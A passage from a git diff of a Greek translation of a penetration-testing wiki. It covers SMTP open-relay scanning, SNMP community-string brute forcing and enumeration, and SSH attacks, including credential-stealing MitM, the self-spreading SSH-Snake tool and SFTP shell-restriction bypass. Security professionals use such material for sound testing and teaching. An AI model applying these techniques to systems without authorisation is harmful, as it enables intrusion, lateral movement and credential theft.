προωθήσει email από οποιαδήποτε εξωτερική πηγή), το εργαλείο `nmap` χρησιμοποιείται συνήθως. Περιλαμβάνει ένα συγκεκριμένο σενάριο σχεδιασμένο για να το δοκιμάσει. Η εντολή για να διεξάγετε μια λεπτομερή σάρωση σε έναν διακομιστή (για παράδειγμα, με IP 10.10.10.10) στην πόρτα 25 χρησιμοποιώντας το `nmap` είναι: +Για να ελέγξετε αν ένας διακομιστής αλληλογραφίας είναι ανοιχτός διαμεσολαβητής (που σημαίνει ότι θα μπορούσε να προωθήσει email από οποιαδήποτε εξωτερική πηγή), το εργαλείο `nmap` χρησιμοποιείται συνήθως. Περιλαμβάνει ένα συγκεκριμένο σενάριο σχεδιασμένο για να δοκιμάσει αυτό. Η εντολή για να διεξάγετε μια λεπτομερή σάρωση σε έναν διακομιστή (για παράδειγμα, με IP 10.10.10.10) στην πόρτα 25 χρησιμοποιώντας το `nmap` είναι: ```bash nmap -p25 --script smtp-open-relay 10.10.10.10 -v ``` @@ -479,13 +479,13 @@ s.sendmail(sender, [destination], msg_data) ### **Άλλοι δείκτες phishing** -- Ηλικία τομέα +- Η ηλικία του τομέα - Συνδέσμοι που δείχνουν σε διευθύνσεις IP -- Τεχνικές χειρισμού συνδέσμων +- Τεχνικές χειραγώγησης συνδέσμων - Υποψίες (ασυνήθιστες) συνημμένες - Σπασμένο περιεχόμενο email - Τιμές που χρησιμοποιούνται που διαφέρουν από αυτές των κεφαλίδων του email -- Ύπαρξη έγκυρου και αξιόπιστου SSL πιστοποιητικού +- Ύπαρξη έγκυρου και αξιόπιστου πιστοποιητικού SSL - Υποβολή της σελίδας σε ιστότοπους φιλτραρίσματος περιεχομένου ## Εξαγωγή μέσω SMTP diff --git a/src/network-services-pentesting/pentesting-snmp/README.md b/src/network-services-pentesting/pentesting-snmp/README.md index 5a13c6447..810c03d36 100644 --- a/src/network-services-pentesting/pentesting-snmp/README.md +++ b/src/network-services-pentesting/pentesting-snmp/README.md @@ -10,28 +10,28 @@ PORT STATE SERVICE REASON VERSION 161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public) ``` -> [!NOTE] +> [!TIP] > Το SNMP χρησιμοποιεί επίσης την θύρα **162/UDP** για **traps**. Αυτά είναι δεδομένα **πακέτα που αποστέλλονται από τον διακομιστή SNMP στον πελάτη χωρίς να ζητηθούν ρητά**. ### MIB -Για να διασφαλιστεί ότι η πρόσβαση SNMP λειτουργεί σε διάφορους κατασκευαστές και με διαφορετικούς συνδυασμούς πελάτη-διακομιστή, δημιουργήθηκε η **Βάση Πληροφοριών Διαχείρισης (MIB)**. Η MIB είναι μια **ανεξάρτητη μορφή αποθήκευσης πληροφοριών συσκευών**. Μια MIB είναι ένα **αρχείο κειμένου** στο οποίο αναφέρονται όλα τα ερωτήσιμα **αντικείμενα SNMP** μιας συσκευής σε μια **τυποποιημένη** ιεραρχία δέντρου. Περιέχει τουλάχιστον ένα `Object Identifier` (`OID`), το οποίο, εκτός από τη απαραίτητη **μοναδική διεύθυνση** και ένα **όνομα**, παρέχει επίσης πληροφορίες σχετικά με τον τύπο, τα δικαιώματα πρόσβασης και μια περιγραφή του αντίστοιχου αντικειμένου.\ -Τα αρχεία MIB γράφονται σε μορφή ASCII κειμένου `Abstract Syntax Notation One` (`ASN.1`). Οι **MIBs δεν περιέχουν δεδομένα**, αλλά εξηγούν **πού να βρείτε ποιες πληροφορίες** και πώς φαίνονται, ποια επιστρέφει τιμές για το συγκεκριμένο OID ή ποιος τύπος δεδομένων χρησιμοποιείται. +Για να διασφαλιστεί ότι η πρόσβαση SNMP λειτουργεί σε διάφορους κατασκευαστές και με διαφορετικούς συνδυασμούς πελάτη-διακομιστή, δημιουργήθηκε η **Management Information Base (MIB)**. Η MIB είναι μια **ανεξάρτητη μορφή αποθήκευσης πληροφοριών συσκευών**. Μια MIB είναι ένα **κείμενο** αρχείο στο οποίο καταγράφονται όλα τα ερωτήσιμα **SNMP αντικείμενα** μιας συσκευής σε μια **τυποποιημένη** ιεραρχία δέντρου. Περιέχει τουλάχιστον ένα `Object Identifier` (`OID`), το οποίο, εκτός από τη απαραίτητη **μοναδική διεύθυνση** και ένα **όνομα**, παρέχει επίσης πληροφορίες σχετικά με τον τύπο, τα δικαιώματα πρόσβασης και μια περιγραφή του αντίστοιχου αντικειμένου.\ +Τα αρχεία MIB γράφονται σε μορφή ASCII κειμένου `Abstract Syntax Notation One` (`ASN.1`). Οι **MIBs δεν περιέχουν δεδομένα**, αλλά εξηγούν **πού να βρείτε ποιες πληροφορίες** και πώς φαίνονται, ποιες τιμές επιστρέφουν για το συγκεκριμένο OID ή ποιος τύπος δεδομένων χρησιμοποιείται. ### OIDs -**Object Identifiers (OIDs)** παίζουν κρίσιμο ρόλο. Αυτοί οι μοναδικοί αναγνωριστές έχουν σχεδιαστεί για να διαχειρίζονται αντικείμενα εντός μιας **Βάσης Πληροφοριών Διαχείρισης (MIB)**. +**Object Identifiers (OIDs)** παίζουν κρίσιμο ρόλο. Αυτοί οι μοναδικοί αναγνωριστές έχουν σχεδιαστεί για να διαχειρίζονται αντικείμενα εντός μιας **Management Information Base (MIB)**. -Τα υψηλότερα επίπεδα των αναγνωριστικών αντικειμένων MIB, ή OIDs, έχουν κατανεμηθεί σε διάφορους οργανισμούς τυποποίησης. Είναι σε αυτά τα κορυφαία επίπεδα που καθορίζεται το πλαίσιο για τις παγκόσμιες πρακτικές και πρότυπα διαχείρισης. +Τα υψηλότερα επίπεδα MIB object IDs, ή OIDs, έχουν κατανεμηθεί σε διάφορους οργανισμούς τυποποίησης. Είναι σε αυτά τα κορυφαία επίπεδα που καθορίζεται το πλαίσιο για τις παγκόσμιες πρακτικές και πρότυπα διαχείρισης. Επιπλέον, οι προμηθευτές έχουν την ελευθερία να δημιουργούν ιδιωτικούς κλάδους. Μέσα σε αυτούς τους κλάδους, έχουν την **αυτονομία να συμπεριλαμβάνουν διαχειριζόμενα αντικείμενα που σχετίζονται με τις δικές τους γραμμές προϊόντων**. Αυτό το σύστημα διασφαλίζει ότι υπάρχει μια δομημένη και οργανωμένη μέθοδος για την αναγνώριση και διαχείριση μιας ευρείας γκάμας αντικειμένων σε διάφορους προμηθευτές και πρότυπα. ![](<../../images/SNMP_OID_MIB_Tree (1).png>) -Μπορείτε να **πλοηγηθείτε** μέσω ενός **δέντρου OID** από το διαδίκτυο εδώ: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) ή **να δείτε τι σημαίνει ένα OID** (όπως το `1.3.6.1.2.1.1`) αποκτώντας πρόσβαση [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\ -Υπάρχουν μερικά **καλά γνωστά OIDs** όπως αυτά μέσα στο [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) που αναφέρονται σε μεταβλητές του Πρωτοκόλλου Απλής Διαχείρισης Δικτύου (SNMP) που ορίζονται από το MIB-2. Και από τα **OIDs που εκκρεμούν από αυτό** μπορείτε να αποκτήσετε μερικά ενδιαφέροντα δεδομένα φιλοξενίας (δεδομένα συστήματος, δεδομένα δικτύου, δεδομένα διαδικασιών...) +Μπορείτε να **πλοηγηθείτε** μέσω ενός **OID tree** από το διαδίκτυο εδώ: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) ή **να δείτε τι σημαίνει ένα OID** (όπως το `1.3.6.1.2.1.1`) επισκεπτόμενοι [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\ +Υπάρχουν μερικά **καλά γνωστά OIDs** όπως αυτά μέσα στο [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) που αναφέρονται σε μεταβλητές του Simple Network Management Protocol (SNMP) που ορίζονται από το MIB-2. Και από τα **OIDs που εκκρεμούν από αυτό** μπορείτε να αποκτήσετε μερικά ενδιαφέροντα δεδομένα φιλοξενίας (δεδομένα συστήματος, δεδομένα δικτύου, δεδομένα διαδικασιών...) -### **Παράδειγμα OID** +### **OID Example** [**Παράδειγμα από εδώ**](https://www.netadmintools.com/snmp-mib-and-oids/): @@ -52,7 +52,7 @@ PORT STATE SERVICE REASON VERSION - 1452 – δίνει το όνομα του οργανισμού που κατασκεύασε αυτή τη συσκευή. - 1 – εξηγεί τον τύπο της συσκευής. Σε αυτή την περίπτωση, είναι ένα ξυπνητήρι. -- 2 – καθορίζει ότι αυτή η συσκευή είναι μια μονάδα απομακρυσμένου τερματικού. +- 2 – καθορίζει ότι αυτή η συσκευή είναι μια απομακρυσμένη μονάδα τερματισμού. Οι υπόλοιπες τιμές παρέχουν συγκεκριμένες πληροφορίες σχετικά με τη συσκευή. @@ -64,27 +64,27 @@ PORT STATE SERVICE REASON VERSION - 4 – αριθμός σημείου - 7 – κατάσταση του σημείου -### Εκδόσεις SNMP +### SNMP Versions Υπάρχουν 2 σημαντικές εκδόσεις του SNMP: -- **SNMPv1**: Η κύρια, είναι ακόμα η πιο συχνή, η **αυθεντικοποίηση βασίζεται σε μια συμβολοσειρά** (community string) που ταξιδεύει σε **καθαρό κείμενο** (όλες οι πληροφορίες ταξιδεύουν σε καθαρό κείμενο). Οι **Έκδοση 2 και 2c** στέλνουν επίσης την **κίνηση σε καθαρό κείμενο** και χρησιμοποιούν μια **συμβολοσειρά κοινότητας ως αυθεντικοποίηση**. -- **SNMPv3**: Χρησιμοποιεί μια καλύτερη **μορφή αυθεντικοποίησης** και οι πληροφορίες ταξιδεύουν **κρυπτογραφημένες** (μπορεί να εκτελεστεί **επίθεση λεξικού**, αλλά θα ήταν πολύ πιο δύσκολο να βρείτε τα σωστά διαπιστευτήρια από ότι στο SNMPv1 και v2). +- **SNMPv1**: Η κύρια, είναι ακόμα η πιο συχνή, η **αυθεντικοποίηση βασίζεται σε μια συμβολοσειρά** (community string) που ταξιδεύει σε **καθαρό κείμενο** (όλες οι πληροφορίες ταξιδεύουν σε καθαρό κείμενο). **Η Έκδοση 2 και 2c** στέλνουν επίσης την **κίνηση σε καθαρό κείμενο** και χρησιμοποιούν μια **community string ως αυθεντικοποίηση**. +- **SNMPv3**: Χρησιμοποιεί μια καλύτερη **μορφή αυθεντικοποίησης** και οι πληροφορίες ταξιδεύουν **κρυπτογραφημένες** (μπορεί να εκτελεστεί **επίθεση λεξικού** αλλά θα ήταν πολύ πιο δύσκολο να βρείτε τα σωστά διαπιστευτήρια από ότι στο SNMPv1 και v2). -### Συμβολοσειρές Κοινότητας +### Community Strings -Όπως αναφέρθηκε προηγουμένως, **για να αποκτήσετε πρόσβαση στις πληροφορίες που αποθηκεύονται στη MIB πρέπει να γνωρίζετε τη συμβολοσειρά κοινότητας στις εκδόσεις 1 και 2/2c και τα διαπιστευτήρια στην έκδοση 3.**\ -Υπάρχουν **2 τύποι συμβολοσειρών κοινότητας**: +Όπως αναφέρθηκε προηγουμένως, **για να αποκτήσετε πρόσβαση στις πληροφορίες που αποθηκεύονται στη MIB πρέπει να γνωρίζετε τη community string στις εκδόσεις 1 και 2/2c και τα διαπιστευτήρια στην έκδοση 3.**\ +Υπάρχουν **2 τύποι community strings**: - **`public`** κυρίως **λειτουργίες μόνο για ανάγνωση** - **`private`** **Ανάγνωση/Εγγραφή** γενικά -Σημειώστε ότι **η δυνατότητα εγγραφής ενός OID εξαρτάται από τη συμβολοσειρά κοινότητας που χρησιμοποιείται**, οπότε **ακόμα** και αν βρείτε ότι χρησιμοποιείται το "**public**", θα μπορούσατε να είστε σε θέση να **γράψετε κάποιες τιμές.** Επίσης, μπορεί να υπάρχουν αντικείμενα που είναι **πάντα "Μόνο για Ανάγνωση".**\ +Σημειώστε ότι **η δυνατότητα εγγραφής ενός OID εξαρτάται από τη χρησιμοποιούμενη community string**, οπότε **ακόμα** και αν βρείτε ότι χρησιμοποιείται το "**public**", θα μπορούσατε να είστε σε θέση να **γράψετε κάποιες τιμές.** Επίσης, μπορεί να υπάρχουν αντικείμενα που είναι **πάντα "Μόνο για Ανάγνωση".**\ Αν προσπαθήσετε να **γράψετε** ένα αντικείμενο, θα λάβετε ένα σφάλμα **`noSuchName` ή `readOnly`**. -Στις εκδόσεις 1 και 2/2c, αν χρησιμοποιήσετε μια **κακή** συμβολοσειρά κοινότητας, ο διακομιστής δεν θα **απαντήσει**. Έτσι, αν απαντήσει, χρησιμοποιήθηκε μια **έγκυρη συμβολοσειρά κοινότητας**. +Στις εκδόσεις 1 και 2/2c, αν χρησιμοποιήσετε μια **κακή** community string, ο διακομιστής δεν θα **απαντήσει**. Έτσι, αν απαντήσει, χρησιμοποιήθηκε μια **έγκυρη community string**. -## Θύρες +## Ports [Από τη Wikipedia](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol): @@ -92,11 +92,11 @@ PORT STATE SERVICE REASON VERSION - Ο διαχειριστής λαμβάνει ειδοποιήσεις ([Traps](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) και [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest)) στην θύρα **162**. - Όταν χρησιμοποιείται με [Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security) ή [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security), τα αιτήματα λαμβάνονται στην θύρα **10161** και οι ειδοποιήσεις αποστέλλονται στην θύρα **10162**. -## Brute-Force Συμβολοσειρά Κοινότητας (v1 και v2c) +## Brute-Force Community String (v1 και v2c) -Για να **μαντέψετε τη συμβολοσειρά κοινότητας** μπορείτε να εκτελέσετε μια επίθεση λεξικού. Ελέγξτε [εδώ διάφορους τρόπους για να εκτελέσετε μια επίθεση brute-force κατά του SNMP](../../generic-hacking/brute-force.md#snmp). Μια συχνά χρησιμοποιούμενη συμβολοσειρά κοινότητας είναι το `public`. +Για να **μαντέψετε τη community string** μπορείτε να εκτελέσετε μια επίθεση λεξικού. Δείτε [εδώ διάφορους τρόπους για να εκτελέσετε μια επίθεση brute-force κατά του SNMP](../../generic-hacking/brute-force.md#snmp). Μια συχνά χρησιμοποιούμενη community string είναι το `public`. -## Απαρίθμηση SNMP +## Enumerating SNMP Συνιστάται να εγκαταστήσετε τα παρακάτω για να δείτε τι σημαίνει **κάθε OID που συλλέγεται** από τη συσκευή: ```bash @@ -125,7 +125,7 @@ braa @:.1.3.6.* #Bruteforce specific OID ```bash snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull ``` -**SNMP** έχει πολλές πληροφορίες σχετικά με τον υπολογιστή και πράγματα που μπορεί να βρείτε ενδιαφέροντα είναι: **Διεπαφές δικτύου** (διεύθυνση **IPv4** και **IPv6**), Ονόματα χρηστών, Χρόνος λειτουργίας, Έκδοση διακομιστή/λειτουργικού συστήματος και **διεργασίες** +**SNMP** έχει πολλές πληροφορίες σχετικά με τον υπολογιστή και πράγματα που μπορεί να βρείτε ενδιαφέροντα είναι: **Διασυνδέσεις δικτύου** (διεύθυνση **IPv4** και **IPv6**), Ονόματα χρηστών, Χρόνος λειτουργίας, Έκδοση διακομιστή/λειτουργικού συστήματος, και **διεργασίες** **που εκτελούνται** (μπορεί να περιέχουν κωδικούς πρόσβασης).... @@ -149,17 +149,18 @@ snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull Μια σειρά από **τιμές Management Information Base (MIB)** χρησιμοποιούνται για την παρακολούθηση διαφόρων πτυχών ενός συστήματος Windows μέσω SNMP: - **Διεργασίες Συστήματος**: Πρόσβαση μέσω `1.3.6.1.2.1.25.1.6.0`, αυτή η παράμετρος επιτρέπει την παρακολούθηση ενεργών διεργασιών εντός του συστήματος. -- **Εκτελούμενα Προγράμματα**: Η τιμή `1.3.6.1.2.1.25.4.2.1.2` έχει οριστεί για την παρακολούθηση των προγραμμάτων που εκτελούνται αυτή τη στιγμή. -- **Διαδρομή Διεργασιών**: Για να προσδιορίσετε από πού εκτελείται μια διεργασία, χρησιμοποιείται η τιμή MIB `1.3.6.1.2.1.25.4.2.1.4`. -- **Μονάδες Αποθήκευσης**: Η παρακολούθηση των μονάδων αποθήκευσης διευκολύνεται από το `1.3.6.1.2.1.25.2.3.1.4`. -- **Όνομα Λογισμικού**: Για να προσδιορίσετε το λογισμικό που είναι εγκατεστημένο σε ένα σύστημα, χρησιμοποιείται το `1.3.6.1.2.1.25.6.3.1.2`. -- **Λογαριασμοί Χρηστών**: Η τιμή `1.3.6.1.4.1.77.1.2.25` επιτρέπει την παρακολούθηση των λογαριασμών χρηστών. -- **TCP Τοπικές Θύρες**: Τέλος, το `1.3.6.1.2.1.6.13.1.3` έχει οριστεί για την παρακολούθηση των τοπικών θυρών TCP, παρέχοντας πληροφορίες σχετικά με τις ενεργές συνδέσεις δικτύου. +- **Εκτελούμενα Προγράμματα**: Η τιμή `1.3.6.1.2.1.25.4.2.1.2` έχει οριστεί για την παρακολούθηση προγραμμάτων που εκτελούνται αυτή τη στιγμή. +- **Διαδρομή Διεργασιών**: Για να προσδιοριστεί από πού εκτελείται μια διεργασία, χρησιμοποιείται η τιμή MIB `1.3.6.1.2.1.25.4.2.1.4`. +- **Μονάδες Αποθήκευσης**: Η παρακολούθηση των μονάδων αποθήκευσης διευκολύνεται από `1.3.6.1.2.1.25.2.3.1.4`. +- **Όνομα Λογισμικού**: Για να προσδιοριστεί το λογισμικό που είναι εγκατεστημένο σε ένα σύστημα, χρησιμοποιείται το `1.3.6.1.2.1.25.6.3.1.2`. +- **Λογαριασμοί Χρηστών**: Η τιμή `1.3.6.1.4.1.77.1.2.25` επιτρέπει την παρακολούθηση λογαριασμών χρηστών. +- **TCP Τοπικές Θύρες**: Τέλος, η `1.3.6.1.2.1.6.13.1.3` έχει οριστεί για την παρακολούθηση τοπικών θυρών TCP, παρέχοντας πληροφορίες σχετικά με τις ενεργές συνδέσεις δικτύου. ### Cisco Ρίξτε μια ματιά σε αυτή τη σελίδα αν έχετε εξοπλισμό Cisco: + {{#ref}} cisco-snmp.md {{#endref}} @@ -168,6 +169,7 @@ cisco-snmp.md Αν έχετε την **κοινότητα string** που σας επιτρέπει να **γράφετε τιμές** μέσα στην υπηρεσία SNMP, μπορεί να είστε σε θέση να την εκμεταλλευτείτε για να **εκτελέσετε εντολές**: + {{#ref}} snmp-rce.md {{#endref}} @@ -194,7 +196,7 @@ grep ".1.3.6.1.2.1.1.1.0" *.snmp ``` ### **Εντοπισμός Ιδιωτικής Συμβολοσειράς** -Ένα κρίσιμο βήμα περιλαμβάνει τον εντοπισμό της **ιδιωτικής συμβολοσειράς κοινότητας** που χρησιμοποιούν οι οργανισμοί, ιδιαίτερα σε δρομολογητές Cisco IOS. Αυτή η συμβολοσειρά επιτρέπει την εξαγωγή των **τρέχουσων ρυθμίσεων** από τους δρομολογητές. Ο εντοπισμός συχνά βασίζεται στην ανάλυση των δεδομένων SNMP Trap για τη λέξη "trap" με μια **εντολή grep**: +Ένα κρίσιμο βήμα περιλαμβάνει τον εντοπισμό της **ιδιωτικής συμβολοσειράς κοινότητας** που χρησιμοποιείται από οργανισμούς, ιδιαίτερα σε δρομολογητές Cisco IOS. Αυτή η συμβολοσειρά επιτρέπει την εξαγωγή των **τρέχουσων ρυθμίσεων** από τους δρομολογητές. Ο εντοπισμός συχνά βασίζεται στην ανάλυση των δεδομένων SNMP Trap για τη λέξη "trap" με μια **εντολή grep**: ```bash grep -i "trap" *.snmp ``` @@ -216,7 +218,7 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp ## Spoofing -Αν υπάρχει μια ACL που επιτρέπει μόνο σε ορισμένες IP να κάνουν ερωτήσεις στην υπηρεσία SMNP, μπορείτε να spoof ένα από αυτές τις διευθύνσεις μέσα στο UDP πακέτο και να sniff την κίνηση. +Αν υπάρχει μια ACL που επιτρέπει μόνο σε ορισμένες IP να κάνουν ερωτήσεις στην υπηρεσία SMNP, μπορείτε να spoof ένα από αυτές τις διευθύνσεις μέσα στο UDP πακέτο και να καταγράψετε την κίνηση. ## Εξέταση αρχείων ρυθμίσεων SNMP diff --git a/src/network-services-pentesting/pentesting-ssh.md b/src/network-services-pentesting/pentesting-ssh.md index 5c373a960..ee1c04cb7 100644 --- a/src/network-services-pentesting/pentesting-ssh.md +++ b/src/network-services-pentesting/pentesting-ssh.md @@ -12,7 +12,7 @@ ``` **SSH servers:** -- [openSSH](http://www.openssh.org) – OpenBSD SSH, που περιλαμβάνεται σε διανομές BSD, Linux και Windows από τα Windows 10 +- [openSSH](http://www.openssh.org) – OpenBSD SSH, που περιλαμβάνεται σε BSD, διανομές Linux και Windows από τα Windows 10 - [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – Υλοποίηση SSH για περιβάλλοντα με χαμηλή μνήμη και πόρους επεξεργαστή, που περιλαμβάνεται στο OpenWrt - [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – Υλοποίηση SSH για Windows, ο πελάτης χρησιμοποιείται συνήθως αλλά η χρήση του διακομιστή είναι σπανιότερη - [CopSSH](https://www.itefix.net/copssh) – υλοποίηση του OpenSSH για Windows @@ -20,7 +20,7 @@ **SSH libraries (implementing server-side):** - [libssh](https://www.libssh.org) – πολυπλατφορμική βιβλιοθήκη C που υλοποιεί το πρωτόκολλο SSHv2 με bindings σε [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) και [R](https://github.com/ropensci/ssh); χρησιμοποιείται από το KDE για sftp και από το GitHub για την υποδομή git SSH -- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – βιβλιοθήκη διακομιστή SSHv2 γραμμένη σε ANSI C και στοχευμένη για ενσωματωμένα, RTOS και περιορισμένα περιβάλλοντα πόρων +- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – βιβλιοθήκη διακομιστή SSHv2 γραμμένη σε ANSI C και στοχευμένη για ενσωματωμένα, RTOS και περιβάλλοντα με περιορισμένους πόρους - [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – Η βιβλιοθήκη Apache SSHD java βασίζεται στο Apache MINA - [paramiko](https://github.com/paramiko/paramiko) – Βιβλιοθήκη πρωτοκόλλου Python SSHv2 @@ -125,12 +125,12 @@ https://github.com/rapid7/ssh-badkeys/tree/master/authorized Ορισμένα συστήματα έχουν γνωστά ελαττώματα στον τυχαίο σπόρο που χρησιμοποιείται για τη δημιουργία κρυπτογραφικού υλικού. Αυτό μπορεί να έχει ως αποτέλεσμα μια δραματικά μειωμένη περιοχή κλειδιών που μπορεί να παραβιαστεί. Προγεννημένα σύνολα κλειδιών που δημιουργήθηκαν σε συστήματα Debian που επηρεάζονται από αδύνατο PRNG είναι διαθέσιμα εδώ: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). -You should look here in order to search for valid keys for the victim machine. +Πρέπει να κοιτάξετε εδώ για να αναζητήσετε έγκυρα κλειδιά για τη μηχανή του θύματος. ### Kerberos -**crackmapexec** using the `ssh` protocol can use the option `--kerberos` to **authenticate via kerberos**.\ -For more info run `crackmapexec ssh --help`. +**crackmapexec** χρησιμοποιώντας το πρωτόκολλο `ssh` μπορεί να χρησιμοποιήσει την επιλογή `--kerberos` για να **αυθεντικοποιηθεί μέσω kerberos**.\ +Για περισσότερες πληροφορίες εκτελέστε `crackmapexec ssh --help`. ## Default Credentials @@ -153,43 +153,43 @@ For more info run `crackmapexec ssh --help`. ## SSH-MitM -If you are in the local network as the victim which is going to connect to the SSH server using username and password you could try to **perform a MitM attack to steal those credentials:** +Εάν βρίσκεστε στο τοπικό δίκτυο ως το θύμα που πρόκειται να συνδεθεί στον SSH server χρησιμοποιώντας όνομα χρήστη και κωδικό πρόσβασης, μπορείτε να προσπαθήσετε να **εκτελέσετε μια επίθεση MitM για να κλέψετε αυτά τα διαπιστευτήρια:** -**Attack path:** +**Διαδρομή επίθεσης:** -- **Traffic Redirection:** The attacker **diverts** the victim's traffic to their machine, effectively **intercepting** the connection attempt to the SSH server. -- **Interception and Logging:** The attacker's machine acts as a **proxy**, **capturing** the user's login details by pretending to be the legitimate SSH server. -- **Command Execution and Relay:** Finally, the attacker's server **logs the user's credentials**, **forwards the commands** to the real SSH server, **executes** them, and **sends the results back** to the user, making the process appear seamless and legitimate. +- **Ανακατεύθυνση κυκλοφορίας:** Ο επιτιθέμενος **παρακάμπτει** την κυκλοφορία του θύματος στη μηχανή του, **παρεμβαίνοντας** στην προσπάθεια σύνδεσης στον SSH server. +- **Παρεμβολή και καταγραφή:** Η μηχανή του επιτιθέμενου λειτουργεί ως **proxy**, **καταγράφοντας** τα στοιχεία σύνδεσης του χρήστη προσποιούμενη ότι είναι ο νόμιμος SSH server. +- **Εκτέλεση εντολών και αναμετάδοση:** Τέλος, ο server του επιτιθέμενου **καταγράφει τα διαπιστευτήρια του χρήστη**, **προωθεί τις εντολές** στον πραγματικό SSH server, **τις εκτελεί** και **στέλνει τα αποτελέσματα πίσω** στον χρήστη, κάνοντάς το διαδικασία να φαίνεται ομαλή και νόμιμη. -[**SSH MITM**](https://github.com/jtesta/ssh-mitm) does exactly what is described above. +[**SSH MITM**](https://github.com/jtesta/ssh-mitm) κάνει ακριβώς αυτό που περιγράφεται παραπάνω. -In order to capture perform the actual MitM you could use techniques like ARP spoofing, DNS spoofin or others described in the [**Network Spoofing attacks**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing). +Για να καταγράψετε την πραγματική MitM μπορείτε να χρησιμοποιήσετε τεχνικές όπως ARP spoofing, DNS spoofing ή άλλες που περιγράφονται στις [**Επιθέσεις Δικτύου Spoofing**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing). ## SSH-Snake -If you want to traverse a network using discovered SSH private keys on systems, utilizing each private key on each system for new hosts, then [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) is what you need. +Εάν θέλετε να διασχίσετε ένα δίκτυο χρησιμοποιώντας ανακαλυφθέντα SSH ιδιωτικά κλειδιά σε συστήματα, χρησιμοποιώντας κάθε ιδιωτικό κλειδί σε κάθε σύστημα για νέους κόμβους, τότε [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) είναι αυτό που χρειάζεστε. -SSH-Snake performs the following tasks automatically and recursively: +Το SSH-Snake εκτελεί τις παρακάτω εργασίες αυτόματα και αναδρομικά: -1. On the current system, find any SSH private keys, -2. On the current system, find any hosts or destinations (user@host) that the private keys may be accepted, -3. Attempt to SSH into all of the destinations using all of the private keys discovered, -4. If a destination is successfully connected to, repeats steps #1 - #4 on the connected-to system. +1. Στο τρέχον σύστημα, βρείτε οποιαδήποτε SSH ιδιωτικά κλειδιά, +2. Στο τρέχον σύστημα, βρείτε οποιουσδήποτε κόμβους ή προορισμούς (user@host) που μπορεί να γίνουν αποδεκτοί από τα ιδιωτικά κλειδιά, +3. Προσπαθήστε να SSH σε όλους τους προορισμούς χρησιμοποιώντας όλα τα ανακαλυφθέντα ιδιωτικά κλειδιά, +4. Εάν συνδεθείτε επιτυχώς σε έναν προορισμό, επαναλάβετε τα βήματα #1 - #4 στο συνδεδεμένο σύστημα. -It's completely self-replicating and self-propagating -- and completely fileless. +Είναι εντελώς αυτοαναπαραγόμενο και αυτοδιαδιδόμενο -- και εντελώς χωρίς αρχεία. ## Config Misconfigurations ### Root login -It's common for SSH servers to allow root user login by default, which poses a significant security risk. **Disabling root login** is a critical step in securing the server. Unauthorized access with administrative privileges and brute force attacks can be mitigated by making this change. +Είναι κοινό για τους SSH servers να επιτρέπουν τη σύνδεση του χρήστη root από προεπιλογή, γεγονός που θέτει σημαντικό κίνδυνο ασφαλείας. **Η απενεργοποίηση της σύνδεσης root** είναι ένα κρίσιμο βήμα για την ασφάλιση του server. Η μη εξουσιοδοτημένη πρόσβαση με διαχειριστικά δικαιώματα και οι επιθέσεις brute force μπορούν να μετριαστούν κάνοντας αυτή την αλλαγή. -**To Disable Root Login in OpenSSH:** +**Για να απενεργοποιήσετε τη σύνδεση root στο OpenSSH:** -1. **Edit the SSH config file** with: `sudoedit /etc/ssh/sshd_config` -2. **Change the setting** from `#PermitRootLogin yes` to **`PermitRootLogin no`**. -3. **Reload the configuration** using: `sudo systemctl daemon-reload` -4. **Restart the SSH server** to apply changes: `sudo systemctl restart sshd` +1. **Επεξεργαστείτε το αρχείο ρυθμίσεων SSH** με: `sudoedit /etc/ssh/sshd_config` +2. **Αλλάξτε την ρύθμιση** από `#PermitRootLogin yes` σε **`PermitRootLogin no`**. +3. **Επαναφορτώστε τη ρύθμιση** χρησιμοποιώντας: `sudo systemctl daemon-reload` +4. **Επανεκκινήστε τον SSH server** για να εφαρμοστούν οι αλλαγές: `sudo systemctl restart sshd` ### SFTP Brute Force @@ -197,7 +197,7 @@ It's common for SSH servers to allow root user login by default, which poses a s ### SFTP command execution -There is a common oversight occurs with SFTP setups, where administrators intend for users to exchange files without enabling remote shell access. Despite setting users with non-interactive shells (e.g., `/usr/bin/nologin`) and confining them to a specific directory, a security loophole remains. **Users can circumvent these restrictions** by requesting the execution of a command (like `/bin/bash`) immediately after logging in, before their designated non-interactive shell takes over. This allows for unauthorized command execution, undermining the intended security measures. +Υπάρχει μια κοινή παράλειψη που συμβαίνει με τις ρυθμίσεις SFTP, όπου οι διαχειριστές σκοπεύουν οι χρήστες να ανταλλάσσουν αρχεία χωρίς να επιτρέπουν την απομακρυσμένη πρόσβαση στο shell. Παρά την ρύθμιση χρηστών με μη διαδραστικά shells (π.χ., `/usr/bin/nologin`) και περιορίζοντάς τους σε έναν συγκεκριμένο φάκελο, παραμένει ένα κενό ασφαλείας. **Οι χρήστες 